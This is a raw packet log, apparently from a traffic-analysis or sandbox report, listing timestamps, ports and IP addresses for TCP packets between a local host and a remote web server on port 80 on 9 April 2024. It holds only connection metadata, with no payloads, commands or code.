Apr 9, 2024 14:53:08.764025927 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764061928 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.764338970 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764415979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764456034 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.764482975 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764622927 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764663935 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.764705896 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764801025 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764841080 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.764875889 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.764981031 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765016079 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.765098095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765111923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765144110 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.765197992 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765321016 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765360117 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.765383959 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765486956 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765530109 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.765557051 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765642881 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765685081 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.765779018 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765897989 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765984058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.765995026 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.766107082 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766143084 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.766211987 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766292095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766325951 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.766397953 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766531944 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766577959 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.766622066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766697884 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766740084 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.766817093 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766880989 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.766921997 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767009020 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767024040 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767066002 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767081022 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767152071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767191887 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767236948 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767359972 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767396927 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767456055 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767546892 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767587900 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767654896 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767707109 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767744064 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767815113 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767884970 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.767925978 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.767977953 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768079996 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768121004 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768143892 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768225908 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768266916 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768291950 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768378973 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768412113 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768424034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768515110 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768546104 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768594980 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768659115 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768697977 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768740892 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768815041 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768852949 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.768887043 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768934011 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.768971920 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769077063 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769184113 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769224882 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769248009 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769325972 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769365072 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769412994 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769490004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769520998 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769587994 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769680977 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769758940 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769759893 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769843102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.769881964 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.769941092 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770000935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770041943 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770065069 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770159960 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770200968 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770278931 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770358086 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770394087 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770412922 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770459890 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770489931 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770514011 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770625114 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770656109 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770679951 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770787001 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770826101 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.770859957 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770908117 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.770947933 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771030903 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771111965 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771148920 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771158934 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771229982 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771267891 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771301985 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771405935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771439075 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771464109 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771589041 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771630049 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771636963 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771718025 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771754980 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771791935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771838903 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771876097 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.771899939 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.771985054 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772027969 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772063017 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772156000 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772193909 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772222996 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772249937 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772288084 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772351980 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772398949 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772429943 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772496939 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772583008 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772595882 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772615910 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772679090 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772716045 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772738934 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772803068 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772835970 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772852898 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772912979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.772944927 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.772969007 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773077965 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773109913 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773164034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773222923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773257971 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773310900 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773359060 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773390055 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773413897 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773467064 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773504019 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773511887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773567915 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773581028 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773602962 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773732901 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773767948 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773792028 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773837090 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773869038 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.773891926 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773960114 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773989916 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.773993969 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774036884 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774070024 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774142981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774202108 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774234056 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774257898 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774358034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774370909 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774391890 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774449110 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774483919 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774507999 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774564981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774576902 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774596930 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774620056 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774652958 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774686098 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774765015 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774796009 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774846077 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774916887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.774950981 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.774975061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775048018 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775084972 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775151014 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775254011 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775288105 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775312901 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775367975 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775403023 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775453091 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775527954 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775561094 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775626898 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775799036 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775830984 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775856018 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775930882 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.775966883 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.775991917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776070118 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776103020 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776135921 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776253939 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776288986 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776310921 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776355028 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776386976 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776412010 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776484966 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776520014 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776555061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776632071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776664019 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776705027 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776783943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776817083 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.776849985 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776957035 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.776992083 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.883338928 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883368015 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883435965 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.883462906 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883538961 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883575916 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.883826971 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883898020 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.883934975 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.883970022 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884015083 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884047031 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.884104013 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884177923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884208918 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.884284973 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884411097 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884447098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.884502888 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884583950 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884623051 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.884682894 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884776115 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884813070 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.884860039 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884953022 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.884990931 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885041952 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885127068 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885173082 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885221004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885301113 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885333061 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885396004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885487080 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885516882 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885570049 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885639906 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885677099 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885703087 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885783911 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885818005 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.885849953 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885922909 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.885958910 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886020899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886107922 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886147976 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886193037 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886296034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886332035 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886358023 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886435986 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886468887 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886495113 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886588097 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886615038 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886658907 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886771917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886807919 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.886846066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886926889 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.886965990 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887006044 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887098074 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887132883 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887160063 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887252092 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887288094 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887314081 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887424946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887455940 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887602091 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887706041 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887741089 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887803078 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887866974 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.887901068 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.887934923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.888010979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.888046026 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.888119936 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.888251066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.888289928 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.888334990 CEST	80	49730	216.250.255.115	192.168.2.4
